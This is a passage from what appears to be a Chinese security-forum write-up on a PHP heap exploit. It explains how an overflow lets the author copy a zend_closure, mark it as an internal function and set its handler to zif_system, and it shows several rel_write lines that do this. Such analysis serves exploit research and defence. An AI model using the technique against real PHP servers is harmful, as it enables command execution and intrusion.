helper对象对应的zend_object内容的0x70=112的偏移处已经是一个新的块的起始位置（helper对应得zend_object占得是abc得空间，包含头只有128字节，写得时候只能从offset+24处开始写，所以offset+0x70就是新的字符串块儿的，原本abc的空间可写长度剩余128-24=104字节，向后跨越112字节，来到了新的128字节存储块的offset+8处，没有从offset+0处开始是保留了这里的空闲链表指针）。
连续向下写0x138=312B的数据，会非法占用abc后面的3个128B的块儿。
复制完后，就更改helper->b对应得zend_object结构的地址，让其指向新的zend_closure处。
为什么不直接更改zend_closure的handler
我们是任意读，但是受限写，只能写入abc块后面空间。而zend_closure在abc前面，所以只能复制到我们能写的地方，然后再处理。
处理一下
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;//因为主版本的变化，这里的偏移量可能会有所不同，新版本的偏移量我没算
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
zend_closure@offset+0x68处是zend_closure.zend_function.zend_internal_function.zif_handler，即函数句柄
同时，我们需要改掉一些标志位：
zend_closure@offset+0x38处是zend_closure.zend_function.zend_internal_function.type，将其更改为内部函数
#define ZEND_INTERNAL_FUNCTION 1
修改完新的zend_closure，将其赋给helper->b，这样我们就可以对特定standard模块内的函数进行调用了。
调用完后再修改回去，就OK了。
当然，因为我们非法占用了3个128字节的块儿，这些块儿会造成内存泄漏。
还有this->helper->a这个字符串，其对应的内容实质上只是一段内存，并不是真正的字符串，其长度会特别大，这个字符串也得修改回来，不过不该也无所谓了，内存泄漏就泄漏吧23333.
点击收藏 | 1
关注 | 2
打赏
